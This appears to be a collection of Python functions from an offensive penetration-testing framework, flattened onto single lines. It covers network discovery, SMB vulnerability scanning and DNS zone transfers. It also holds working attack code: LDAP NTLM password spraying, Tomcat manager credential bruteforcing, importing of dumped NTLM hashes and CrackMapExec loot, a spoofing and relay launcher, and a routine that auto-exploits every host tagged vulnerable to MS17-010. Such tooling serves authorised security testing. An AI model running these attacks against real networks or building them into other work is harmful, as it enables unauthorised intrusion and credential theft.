def main(): hs = HostSearch() arg = argparse.ArgumentParser(parents=[hs.argparser], conflict_handler='resolve') arg.add_argument('-c', '--count', help="Only show the number of results", action="store_true") arg.add_argument('-a', '--add', help="Add a new range", action="store_true") arguments = arg.parse_args() if arguments.add: print_notification("Adding new host") address = input("What host do you want to add? ") host = hs.id_to_object(address) print_success("Added a new host:") print_json(host.to_dict(include_meta=True)) elif arguments.count: print_line("Number of hosts: {}".format(hs.argument_count())) else: response = hs.get_hosts() for hit in response: print_json(hit.to_dict(include_meta=True))
def bruteforce(users, domain, password, host): """ Performs a bruteforce for the given users, password, domain on the given host. """ cs = CredentialSearch(use_pipe=False) print_notification("Connecting to {}".format(host)) s = Server(host) c = Connection(s) for user in users: if c.rebind(user="******".format(domain, user.username), password=password, authentication=NTLM): print_success('Success for: {}:{}'.format(user.username, password)) credential = cs.find_object(user.username, password, domain=domain, host_ip=host) if not credential: credential = Credential(username=user.username, secret=password, domain=domain, host_ip=host, type="plaintext", port=389) credential.add_tag(tag) credential.save() # Add a tag to the user object, so we dont have to bruteforce it again. user.add_tag(tag) user.save() else: print_error("Fail for: {}:{}".format(user.username, password))
def parse_domain_computers(filename): """ Parse the file and extract the computers, import the computers that resolve into jackal. """ with open(filename) as f: data = json.loads(f.read()) hs = HostSearch() count = 0 entry_count = 0 print_notification("Parsing {} entries".format(len(data))) for system in data: entry_count += 1 parsed = parse_single_computer(system) if parsed.ip: try: host = hs.id_to_object(parsed.ip) host.description.append(parsed.description) host.hostname.append(parsed.dns_hostname) if parsed.os: host.os = parsed.os host.domain_controller = parsed.dc host.add_tag('domaindump') host.save() count += 1 except ValueError: pass sys.stdout.write('\r') sys.stdout.write("[{}/{}] {} resolved".format(entry_count, len(data), count)) sys.stdout.flush() sys.stdout.write('\r') return count
def main(): netmask = '255.255.255.0' interfaces = psutil.net_if_addrs() for _, details in interfaces.items(): for detail in details: if detail.family == socket.AF_INET: ip_address = ipaddress.ip_address(detail.address) if not (ip_address.is_link_local or ip_address.is_loopback): netmask = detail.netmask break parser = argparse.ArgumentParser( description="Uses the configured DNS servers to estimate ranges.") parser.add_argument("--include-public", help="Include public IP addresses", action="store_true") parser.add_argument( "-nm", "--netmask", help="The netmask to use to create ranges, default: {}".format( netmask), type=str, default=netmask) arguments = parser.parse_args() ips = [] ips.extend(get_configured_dns()) domains = get_resolv_dns() ips.extend(resolve_domains(domains)) stats = parse_ips(ips, arguments.netmask, arguments.include_public) print_notification("Found {} ips and {} ranges".format( len(stats['ips']), len(stats['ranges'])))
def main(): """ Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing. """ services = ServiceSearch() argparse = services.argparser argparse.add_argument('-f', '--file', type=str, help="File") arguments = argparse.parse_args() if not arguments.file: print_error("Please provide a file with credentials seperated by ':'") sys.exit() services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute']) credentials = [] with open(arguments.file, 'r') as f: credentials = f.readlines() for service in services: print_notification("Checking ip:{} port {}".format(service.address, service.port)) url = 'http://{}:{}/manager/html' gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service) service.add_tag('tomcat_brute') service.update(tags=service.tags) gevent.wait() # TODO fix stats Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)})
def main(): rs = RangeSearch() arg = argparse.ArgumentParser(parents=[rs.argparser], conflict_handler='resolve') arg.add_argument('-c', '--count', help="Only show the number of results", action="store_true") arg.add_argument('-a', '--add', help="Add a new range", action="store_true") arguments = arg.parse_args() if arguments.add: print_notification("Adding new range") range_str = input("What range do you want to add? ") r = rs.id_to_object(range_str) print_success("Added a new range:") print_json(r.to_dict(include_meta=True)) elif arguments.count: print_line("Number of ranges: {}".format(rs.argument_count())) else: response = rs.get_ranges() for hit in response: print_json(hit.to_dict(include_meta=True))
def pipe_worker(pipename, filename, object_type, query, format_string, unique=False): """ Starts the loop to provide the data from jackal. """ print_notification("[{}] Starting pipe".format(pipename)) object_type = object_type() try: while True: uniq = set() # Remove the previous file if it exists if os.path.exists(filename): os.remove(filename) # Create the named pipe os.mkfifo(filename) # This function will block until a process opens it with open(filename, 'w') as pipe: print_success("[{}] Providing data".format(pipename)) # Search the database objects = object_type.search(**query) for obj in objects: data = fmt.format(format_string, **obj.to_dict()) if unique: if not data in uniq: uniq.add(data) pipe.write(data + '\n') else: pipe.write(data + '\n') os.unlink(filename) except KeyboardInterrupt: print_notification("[{}] Shutting down named pipe".format(pipename)) except Exception as e: print_error("[{}] Error: {}, stopping named pipe".format(e, pipename)) finally: os.remove(filename)
def nmap(nmap_args, ips): """ Start an nmap process with the given args on the given ips. """ config = Config() arguments = ['nmap', '-Pn'] arguments.extend(ips) arguments.extend(nmap_args) output_file = '' now = datetime.datetime.now() if not '-oA' in nmap_args: output_name = 'nmap_jackal_{}'.format(now.strftime("%Y-%m-%d %H:%M")) path_name = os.path.join(config.get('nmap', 'directory'), output_name) print_notification("Writing output of nmap to {}".format(path_name)) if not os.path.exists(config.get('nmap', 'directory')): os.makedirs(config.get('nmap', 'directory')) output_file = path_name + '.xml' arguments.extend(['-oA', path_name]) else: output_file = nmap_args[nmap_args.index('-oA') + 1] + '.xml' print_notification("Starting nmap") subprocess.call(arguments) with open(output_file, 'r') as f: return f.read()
def import_secretsdump(): parser = argparse.ArgumentParser( description="Imports secretsdump files.") parser.add_argument("files", nargs='+', help="The secretsdump files to import") arguments = parser.parse_args() print_notification("Importing {} files".format(len(arguments.files))) for f in arguments.files: parse_file(f)
def nmap_smb_vulnscan(): """ Scans available smb services in the database for smb signing and ms17-010. """ service_search = ServiceSearch() services = service_search.get_services(ports=['445'], tags=['!smb_vulnscan'], up=True) services = [service for service in services] service_dict = {} for service in services: service.add_tag('smb_vulnscan') service_dict[str(service.address)] = service nmap_args = "-Pn -n --disable-arp-ping --script smb-security-mode.nse,smb-vuln-ms17-010.nse -p 445".split( " ") if services: result = nmap(nmap_args, [str(s.address) for s in services]) parser = NmapParser() report = parser.parse_fromstring(result) smb_signing = 0 ms17 = 0 for nmap_host in report.hosts: for script_result in nmap_host.scripts_results: script_result = script_result.get('elements', {}) service = service_dict[str(nmap_host.address)] if script_result.get('message_signing', '') == 'disabled': print_success("({}) SMB Signing disabled".format( nmap_host.address)) service.add_tag('smb_signing_disabled') smb_signing += 1 if script_result.get('CVE-2017-0143', {}).get('state', '') == 'VULNERABLE': print_success("({}) Vulnerable for MS17-010".format( nmap_host.address)) service.add_tag('MS17-010') ms17 += 1 service.update(tags=service.tags) print_notification( "Completed, 'smb_signing_disabled' tag added to systems with smb signing disabled, 'MS17-010' tag added to systems that did not apply MS17-010." ) stats = { 'smb_signing': smb_signing, 'MS17_010': ms17, 'scanned_services': len(services) } Logger().log( 'smb_vulnscan', 'Scanned {} smb services for vulnerabilities'.format( len(services)), stats) else: print_notification("No services found to scan.")
def import_smb(database_path): print_notification("Importing SMB database") conn = sqlite3.connect(database_path) host_search = HostSearch(use_pipe=False) host_map = {} # Inserting the hosts computer_count = 0 for computer in conn.execute("SELECT id, ip, hostname, domain, os, dc FROM computers"): host = host_search.id_to_object(computer[1]) if computer[2]: host.hostname.append(computer[2]) if computer[4]: host.os = computer[4] if computer[5]: host.domain_controller = computer[5] host_map[computer[0]] = computer[1] host.add_tag("cme_import") host.save() computer_count += 1 # Inserting the retrieved users, services and credentials. user_count = 0 admin_count = 0 user_search = UserSearch(use_pipe=False) for user in conn.execute("SELECT id, domain, username, password, credtype, pillaged_from_computerid FROM users"): # Add user jackal_user = user_search.id_to_object(user[2]) if user[1]: jackal_user.domain.append(user[1]) jackal_user.add_tag("cme_import") jackal_user.save() user_count += 1 try: address = host_map[user[5]] except KeyError: address = None # Add credential add_credential(user[2], user[3], user[1], address, user[4], port=445) for admin_host in conn.execute("SELECT computerid FROM admin_relations WHERE userid=?", (int(user[0]),)): admin_count += 1 admin_pc = host_map[admin_host[0]] add_credential(user[2], user[3], user[1], admin_pc, user[4], port=445, access_level='Administrator') conn.close() # Log the info stats = {} stats['hosts'] = computer_count stats['users'] = user_count stats['admins'] = admin_count stats['file'] = database_path Logger().log('cme_smb', "Imported CME smb database: {}".format(database_path), stats)
def exploit(self): """ Starts the exploiting phase, you should run setup before running this function. if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown. """ search = ServiceSearch() host_search = HostSearch() services = search.get_services(tags=['MS17-010']) services = [service for service in services] if len(services) == 0: print_error("No services found that are vulnerable for MS17-010") return if self.auto: print_success("Found {} services vulnerable for MS17-010".format( len(services))) for service in services: print_success("Exploiting " + str(service.address)) host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() text = self.exploit_single(str(service.address), system_os) print_notification(text) else: service_list = [] for service in services: host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() service_list.append({ 'ip': service.address, 'os': system_os, 'string': "{ip} ({os}) {hostname}".format(ip=service.address, os=system_os, hostname=host.hostname) }) draw_interface(service_list, self.callback, "Exploiting {ip} with OS: {os}")
def wait(self): """ This function waits for the relay and responding processes to exit. Captures KeyboardInterrupt to shutdown these processes. """ try: self.relay.wait() self.responder.wait() except KeyboardInterrupt: print_notification("Stopping") finally: self.terminate_processes()
def import_file(): for arg in sys.argv[1:]: print_notification("Importing nmap file: {}".format(arg)) try: with open(arg, 'r') as f: stats = import_nmap(f.read(), 'nmap_import', check_function=all_hosts, import_services=True) stats['file'] = arg Logger().log('import_nmap', 'Imported nmap file', stats=stats) except NmapParserException: print_error("File could not be parsed: {}".format(arg)) except FileNotFoundError: pass
def write_targets(self): """ write_targets will write the contents of ips and ldap_strings to the targets_file. """ if len(self.ldap_strings) == 0 and len(self.ips) == 0: print_notification("No targets left") if self.auto_exit: if self.notifier: self.notifier.stop() self.terminate_processes() with open(self.targets_file, 'w') as f: f.write('\n'.join(self.ldap_strings + self.ips))
def watch(self): """ Watches directory for changes """ wm = pyinotify.WatchManager() self.notifier = pyinotify.Notifier(wm, default_proc_fun=self.callback) wm.add_watch(self.directory, pyinotify.ALL_EVENTS) try: self.notifier.loop() except (KeyboardInterrupt, AttributeError): print_notification("Stopping") finally: self.notifier.stop() self.terminate_processes()
def main(): print_notification("Importing cme") home = expanduser('~') cme_workspaces_dir = join(home, '.cme', 'workspaces') if exists(cme_workspaces_dir): print_success("Found cme directory") workspaces = os.listdir(cme_workspaces_dir) for workspace in workspaces: workspace_path = join(cme_workspaces_dir, workspace) databases = os.listdir(workspace_path) for database in databases: print_notification("Importing {}".format(database)) database_path = join(workspace_path, database) import_database(database_path)
def main(): netmask = '255.255.255.0' own_ip = None interfaces = psutil.net_if_addrs() for _, details in interfaces.items(): for detail in details: if detail.family == AddressFamily.AF_INET: ip_address = ipaddress.ip_address(detail.address) if not (ip_address.is_link_local or ip_address.is_loopback): netmask = detail.netmask own_ip = str(ip_address) print_notification( "Starting sniffer with netmask: {} and own_ip: {}".format( netmask, own_ip)) sniffer = Sniffer(netmask=netmask, own_ip=own_ip) sniffer.start()
def nmap_discover(): """ This function retrieves ranges from jackal Uses two functions of nmap to find hosts: ping: icmp / arp pinging of targets lookup: reverse dns lookup """ rs = RangeSearch() rs_parser = rs.argparser arg = argparse.ArgumentParser(parents=[rs_parser], conflict_handler='resolve') arg.add_argument('type', metavar='type', \ help='The type of nmap scan to do, choose from ping or lookup', \ type=str, choices=['ping', 'lookup']) arguments, nmap_args = arg.parse_known_args() tag = None if arguments.type == 'ping': tag = 'nmap_ping' nmap_args.append('-sn') nmap_args.append('-n') check_function = include_up_hosts elif arguments.type == 'lookup': tag = 'nmap_lookup' nmap_args.append('-sL') check_function = include_hostnames ranges = rs.get_ranges(tags=['!{}'.format(tag)]) ranges = [r for r in ranges] ips = [] for r in ranges: ips.append(r.range) print_notification("Running nmap with args: {} on {} range(s)".format( nmap_args, len(ips))) result = nmap(nmap_args, ips) stats = import_nmap(result, tag, check_function) stats['scanned_ranges'] = len(ips) Logger().log( 'nmap_discover', "Nmap discover with args: {} on {} range(s)".format( nmap_args, len(ips)), stats) for r in ranges: r.add_tag(tag) r.save()
def resolve_domains(domains): """ Resolves the list of domains and returns the ips. """ dnsresolver = dns.resolver.Resolver() ips = [] for domain in domains: print_notification("Resolving {}".format(domain)) try: result = dnsresolver.query(domain, 'A') for a in result.response.answer[0]: ips.append(str(a)) except dns.resolver.NXDOMAIN as e: print_error(e) return ips
def parse_ips(ips, netmask, include_public): """ Parses the list of ips, turns these into ranges based on the netmask given. Set include_public to True to include public IP adresses. """ hs = HostSearch() rs = RangeSearch() ranges = [] ips = list(set(ips)) included_ips = [] print_success("Found {} ips".format(len(ips))) for ip in ips: ip_address = ipaddress.ip_address(ip) if include_public or ip_address.is_private: # To stop the screen filling with ranges. if len(ips) < 15: print_success("Found ip: {}".format(ip)) host = hs.id_to_object(ip) host.add_tag('dns_discover') host.save() r = str(ipaddress.IPv4Network("{}/{}".format(ip, netmask), strict=False)) ranges.append(r) included_ips.append(ip) else: print_notification("Excluding ip {}".format(ip)) ranges = list(set(ranges)) print_success("Found {} ranges".format(len(ranges))) for rng in ranges: # To stop the screen filling with ranges. if len(ranges) < 15: print_success("Found range: {}".format(rng)) r = rs.id_to_object(rng) r.add_tag('dns_discover') r.save() stats = {} stats['ips'] = included_ips stats['ranges'] = ranges return stats
def import_domaindump(): """ Parses ldapdomaindump files and stores hosts and users in elasticsearch. """ parser = argparse.ArgumentParser( description= "Imports users, groups and computers result files from the ldapdomaindump tool, will resolve the names from domain_computers output for IPs" ) parser.add_argument("files", nargs='+', help="The domaindump files to import") arguments = parser.parse_args() domain_users_file = '' domain_groups_file = '' computer_count = 0 user_count = 0 stats = {} for filename in arguments.files: if filename.endswith('domain_computers.json'): print_notification('Parsing domain computers') computer_count = parse_domain_computers(filename) if computer_count: stats['hosts'] = computer_count print_success("{} hosts imported".format(computer_count)) elif filename.endswith('domain_users.json'): domain_users_file = filename elif filename.endswith('domain_groups.json'): domain_groups_file = filename if domain_users_file: print_notification("Parsing domain users") user_count = parse_domain_users(domain_users_file, domain_groups_file) if user_count: print_success("{} users imported".format(user_count)) stats['users'] = user_count Logger().log( "import_domaindump", 'Imported domaindump, found {} user, {} systems'.format( user_count, computer_count), stats)
def zone_transfer(address, dns_name): """ Tries to perform a zone transfer. """ ips = [] try: print_notification("Attempting dns zone transfer for {} on {}".format(dns_name, address)) z = dns.zone.from_xfr(dns.query.xfr(address, dns_name)) except dns.exception.FormError: print_notification("Zone transfer not allowed") return ips names = z.nodes.keys() print_success("Zone transfer successfull for {}, found {} entries".format(address, len(names))) for n in names: node = z[n] data = node.get_rdataset(dns.rdataclass.IN, dns.rdatatype.A) if data: # TODO add hostnames to entries. # hostname = n.to_text() for item in data.items: address = item.address ips.append(address) return ips
def parse_domain_users(domain_users_file, domain_groups_file): """ Parses the domain users and groups files. """ with open(domain_users_file) as f: users = json.loads(f.read()) domain_groups = {} if domain_groups_file: with open(domain_groups_file) as f: groups = json.loads(f.read()) for group in groups: sid = get_field(group, 'objectSid') domain_groups[int(sid.split('-')[-1])] = get_field(group, 'cn') user_search = UserSearch() count = 0 total = len(users) print_notification("Importing {} users".format(total)) for entry in users: result = parse_user(entry, domain_groups) user = user_search.id_to_object(result['username']) user.name = result['name'] user.domain.append(result['domain']) user.description = result['description'] user.groups.extend(result['groups']) user.flags.extend(result['flags']) user.sid = result['sid'] user.add_tag("domaindump") user.save() count += 1 sys.stdout.write('\r') sys.stdout.write("[{}/{}]".format(count, total)) sys.stdout.flush() sys.stdout.write('\r') return count
def parse_file(filename): cs = CredentialSearch() us = UserSearch() print_notification("Processing {}".format(filename)) if not os.path.isfile(filename): print_error("Given path is not a file, skipping...") return pattern = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" result = re.findall(pattern, filename) ip = '' if len(result): ip = result[0] print_notification("Host IP seems to be {}".format(ip)) else: print_error("IP could not be obtained from the filename, skipping...") return with open(filename, 'r') as f: data = f.readlines() data = [d.strip() for d in data] count = 0 print_notification("Importing {} credentials".format(len(data))) for line in data: s = line.split(':') if len(s) == 7: username = s[0] jackal_user = us.id_to_object(username) jackal_user.add_tag("secretsdump_import") jackal_user.save() lm = s[2] nt = s[3] secret = lm + ":" + nt credential = cs.find_object(username=username, secret=secret, host_ip=ip) if not credential: credential = Credential(secret=secret, username=username, type='ntlm', host_ip=ip, port=445) credential.add_tag("secretsdump_import") credential.save() count += 1 else: print_error("Malformed data:") print_error(line) if count > 0: print_success("{} credentials imported".format(count)) else: print_error("No credentials imported")
def start(self, timeout=None): """ Starts the sniffing """ if timeout: print_notification( "Starting sniffer for {} seconds".format(timeout)) else: print_notification("Starting sniffer") print_notification("Press ctrl-c to stop sniffing") try: sniff(prn=self.callback, store=0, timeout=timeout) except PermissionError: print_error("Please run this tool as root")
def nmap_scan(): """ Scans the given hosts with nmap. """ # Create the search and config objects hs = HostSearch() config = Config() # Static options to be able to figure out what options to use depending on the input the user gives. nmap_types = ['top10', 'top100', 'custom', 'top1000', 'all'] options = {'top10':'--top-ports 10', 'top100':'--top-ports 100', 'custom': config.get('nmap', 'options'), 'top1000': '--top-ports 1000', 'all': '-p-'} # Create an argument parser hs_parser = hs.argparser argparser = argparse.ArgumentParser(parents=[hs_parser], conflict_handler='resolve', \ description="Scans hosts from the database using nmap, any arguments that are not in the help are passed to nmap") argparser.add_argument('type', metavar='type', \ help='The number of ports to scan: top10, top100, custom, top1000 (default) or all', \ type=str, choices=nmap_types, default='top1000', const='top1000', nargs='?') arguments, extra_nmap_args = argparser.parse_known_args() # Fix the tags for the search tags = nmap_types[nmap_types.index(arguments.type):] tags = ["!nmap_" + tag for tag in tags] hosts = hs.get_hosts(tags=tags) hosts = [host for host in hosts] # Create the nmap arguments nmap_args = [] nmap_args.extend(extra_nmap_args) nmap_args.extend(options[arguments.type].split(' ')) # Run nmap print_notification("Running nmap with args: {} on {} hosts(s)".format(nmap_args, len(hosts))) if len(hosts): result = nmap(nmap_args, [str(h.address) for h in hosts]) # Import the nmap result for host in hosts: host.add_tag("nmap_{}".format(arguments.type)) host.save() print_notification("Nmap done, importing results") stats = import_nmap(result, "nmap_{}".format(arguments.type), check_function=all_hosts, import_services=True) stats['scanned_hosts'] = len(hosts) stats['type'] = arguments.type Logger().log('nmap_scan', "Performed nmap {} scan on {} hosts".format(arguments.type, len(hosts)), stats) else: print_notification("No hosts found")
def os_discovery(): """ Performs os (and domain) discovery of smb hosts. """ hs = HostSearch() hosts = hs.get_hosts(ports=[445], tags=['!nmap_os']) # TODO fix filter for emtpy fields. hosts = [host for host in hosts if not host.os] host_dict = {} for host in hosts: host_dict[str(host.address)] = host arguments = "--script smb-os-discovery.nse -p 445 -Pn -n --disable-arp-ping".split( ' ') if len(hosts): count = 0 print_notification("Checking OS of {} systems".format(len(hosts))) result = nmap(arguments, [str(h.address) for h in hosts]) parser = NmapParser() report = parser.parse_fromstring(result) for nmap_host in report.hosts: for script_result in nmap_host.scripts_results: script_result = script_result.get('elements', {}) host = host_dict[str(nmap_host.address)] if 'fqdn' in script_result: host.hostname.append(script_result['fqdn']) if 'os' in script_result: count += 1 host.os = script_result['os'] host_dict[str(nmap_host.address)] = host for host in hosts: host.add_tag('nmap_os') host.save() print_notification("Done, found the os of {} systems".format(count)) else: print_notification("No systems found to be checked.")
def main(): interface_name = get_interface_name() argparser = argparse.ArgumentParser( description="Tool to start relaying and stuff.") argparser.add_argument('--no-ldap', help='Disable relaying to ldap.', action='store_true') argparser.add_argument('--interface', help='Interface to use, default: {}'.format(interface_name), \ type=str, default=interface_name) argparser.add_argument('--auto-exit', help='Exit after all targets have been exploited.', action='store_true') arguments = argparser.parse_args() spoofing = Spoofing(arguments.interface, not arguments.no_ldap, arguments.auto_exit) print_notification("Started processes, if these crash maybe run as root?") spoofing.load_targets() spoofing.write_targets() spoofing.start_processes() print_notification("Spoofing starting, press Ctrl-C to quit.") spoofing.watch() print_notification("Exiting")
def main(): """ Retrieves services starts check_service in a gevent pool of 100. """ search = ServiceSearch() services = search.get_services(up=True, tags=['!header_scan']) print_notification("Scanning {} services".format(len(services))) # Disable the insecure request warning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) pool = Pool(100) count = 0 for service in services: count += 1 if count % 50 == 0: print_notification("Checking {}/{} services".format( count, len(services))) pool.spawn(check_service, service) pool.join() print_notification( "Completed, 'http' tag added to services that respond to http, 'https' tag added to services that respond to https." )